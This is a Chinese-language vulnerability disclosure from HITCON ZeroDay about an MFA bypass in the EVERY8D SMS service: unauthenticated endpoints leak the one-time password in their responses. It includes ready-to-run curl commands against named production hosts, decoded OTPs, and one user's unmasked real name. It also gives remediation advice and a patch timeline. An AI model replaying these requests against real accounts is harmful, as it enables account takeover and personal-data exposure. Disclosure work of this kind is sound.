Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2026-00630
- Vendor: 互動資通股份有限公司
- Title: 互動資通 EVERY8D API/SendOTP.ashx OTP 值直接洩漏於回應(無需認證 MFA 完全繞過)
- Introduction: 端點無需認證即在回應中返回 base64 編碼的 OTP 值,攻擊者可對任意帳號完整繞過 MFA 驗證。
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
已修補
-
已複測
-
公開
處理歷程
- 2026/05/05 23:24:27 : 新提交 (由 罐頭 更新此狀態)
- 2026/05/09 17:53:40 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/27 15:48:01 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/27 15:48:01 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/27 15:48:01 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/07/05 03:00:16 : 公開 (由 HITCON ZeroDay 平台自動更新)
- 2026/07/06 11:02:00 : 延期申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/07/08 15:11:27 : 延期申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/07/29 12:09:26 : 複測申請中 (由 組織帳號 更新此狀態)
- 2026/08/01 14:47:19 : 確認已修補 (由 罐頭 更新此狀態)
- 2026/08/05 03:00:05 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2026-00630
- 通報者:guan4tou2 (罐頭)
- 風險:高
- 類型:資訊洩漏 (Information Leakage)
參考資料
OWASP 漏洞說明 (Top 10 2017 - A3 Sensitive Data Exposure)
https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure
CWE-200 漏洞說明
https://cwe.mitre.org/data/definitions/200.html
相關網址
https://every8d.teamplus.tech/every8d30/API/CheckMFAOTPNum.ashx
https://every8d.teamplus.tech/every8d30/API/MFAGetMobile.ashx
https://tw.e8d.tw/every8d30/API/SendOTP.ashx
https://tw.e8d.tw/every8d30/API/CheckMFAOTPNum.ashx
https://tw.e8d.tw/every8d30/API/MFAGetMobile.ashx
敘述
漏洞概述
every8d.teamplus.tech 及 tw.e8d.tw(EVERY8D 主要服務入口)的三個 API 端點在完全無需任何認證/session 的情況下可被任意存取(兩個主機均已實測確認):
API/SendOTP.ashx:觸發 OTP 簡訊 + 在回應中以 base64 返回 OTP 本身(VerifyCode欄位)API/CheckMFAOTPNum.ashx:驗證 OTP(無 session 綁定)API/MFAGetMobile.ashx:返回帳號的遮罩手機號碼與真實姓名
攻擊者只需知道 EVERY8D 帳號名稱,即可從 SendOTP.ashx 回應直接取得 OTP,再用於 CheckMFAOTPNum.ashx 通過 MFA 驗證,無需密碼。tw.e8d.tw 為互動資通主要 EVERY8D 服務入口(Registrant: Teamsplus Technology Inc.),影響範圍擴及所有 EVERY8D 帳號。
重現步驟(Live verified: 2026-05-05)
步驟 1:帳號存在確認 + PII 洩漏(附加發現)
curl -sk -X POST "https://every8d.teamplus.tech/every8d30/API/MFAGetMobile.ashx" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "login_name=jenny"
回應:
{"IsSuccess":true,"Description":"09*****900","name":"張XX","responseCode":"200","LoginName":"jenny","isSelf":true}
→ 無需認證,返回帳號手機(遮罩)與真實姓名 張輝蓮
步驟 2:觸發 OTP 並從回應取得 OTP 值
curl -sk -X POST "https://every8d.teamplus.tech/every8d30/API/SendOTP.ashx" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "login_name=jenny&isOTP=1¶mKey=MFA&remark=MFA%E7%9A%84OTP%E7%B0%A1%E8%A8%8A%E9%A9%97%E8%AD%89%E7%99%BB%E5%85%A5"
回應:
{"IsSuccess":true,"VerifyCode":"NDM4OTg0","responseCode":"200","Description":"成功"}
→ VerifyCode: "NDM4OTg0" → base64 decode → OTP = 438984(無需密碼、無需 session)
步驟 3:用洩漏的 OTP 通過 MFA 驗證
curl -sk -X POST "https://every8d.teamplus.tech/every8d30/API/CheckMFAOTPNum.ashx" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "OTPNum=438984&login_name=jenny¶m_key=MFA"
回應:
{"IsSuccess":true,"responseCode":"200","Description":"登入驗證成功"}
→ MFA 驗證完全通過! 全程無需 jenny 的密碼或 session
步驟 4:第二次確認(OTP 已輪換)
# 再次觸發新 OTP
curl -sk -X POST "https://every8d.teamplus.tech/every8d30/API/SendOTP.ashx" \
-d "login_name=jenny&isOTP=1¶mKey=MFA&remark=MFA"
# → VerifyCode: "MTc1Mjgz" → base64 → OTP = 175283
# 驗證新 OTP
curl -sk -X POST "https://every8d.teamplus.tech/every8d30/API/CheckMFAOTPNum.ashx" \
-d "OTPNum=175283&login_name=jenny¶m_key=MFA"
# → IsSuccess: true, 登入驗證成功
已驗證影響(Verified)
every8d.teamplus.tech:
- ✅
API/SendOTP.ashx無需任何認證即可觸發(jenny 帳號 OTP SMS 送出確認) - ✅
VerifyCode欄位以 base64 返回 OTP 本身(438984, 175283 均已驗證) - ✅
API/CheckMFAOTPNum.ashx無需 session 通過 MFA 驗證(IsSuccess: true) - ✅
API/MFAGetMobile.ashx洩漏帳號手機(遮罩)+ 真實姓名(jenny → 張XX)
tw.e8d.tw(EVERY8D 主要入口,2026-04-29 追加驗證):
curl -sk -X POST "https://tw.e8d.tw/every8d30/API/SendOTP.ashx" \
-d "login_name=jenny&isOTP=1¶mKey=MFA&remark=test"
# → {"IsSuccess":true,"VerifyCode":"MzA2MDg0","responseCode":"200","Description":"成功"}
# MzA2MDg0 → base64 decode → OTP = 306084
curl -sk -X POST "https://tw.e8d.tw/every8d30/API/CheckMFAOTPNum.ashx" \
-d "OTPNum=306084&login_name=jenny¶m_key=MFA"
# → {"IsSuccess":true,"responseCode":"200","Description":"登入驗證成功"}
curl -sk -X POST "https://tw.e8d.tw/every8d30/API/MFAGetMobile.ashx" \
-d "login_name=jenny"
# → {"IsSuccess":true,"Description":"09*****900","name":"張XX","responseCode":"200"}
- ✅
tw.e8d.tw三個端點均已確認同樣漏洞(OTP 306084 洩漏 + MFA 驗證成功)
潛在影響(Potential)
- 對所有啟用 MFA 的 EVERY8D 帳號:MFA 機制完全失效,攻擊者可繞過雙因子驗證
- 結合
/login/cert認證繞過(另案):完整帳號接管(ATO)攻擊鏈 - OTP 轟炸:無限次觸發 OTP 簡訊(無 rate limit 觀察到)
- 大規模 PII 枚舉:透過
MFAGetMobile.ashx批量洩漏用戶手機與姓名
漏洞根因
SendOTP.ashx在回應中包含VerifyCode(OTP 值),可能為開發/debug 殘留功能- 三個 ASHX 端點均未進行伺服器端 session 驗證,依賴前端 JS 只在登入流程中調用(典型前端驗證反模式)
修補建議
1. 立即:API/SendOTP.ashx 回應中移除 VerifyCode 欄位(OTP 不得在 HTTP 回應中出現)。
2. 立即:所有三個 ASHX 端點加入伺服器端 session 驗證。
3. 立即:API/SendOTP.ashx 加入 rate limiting(防 OTP 轟炸)。
4. 短期:稽核所有 /every8d30/API/ 下的 ASHX 端點是否有類似設計缺陷。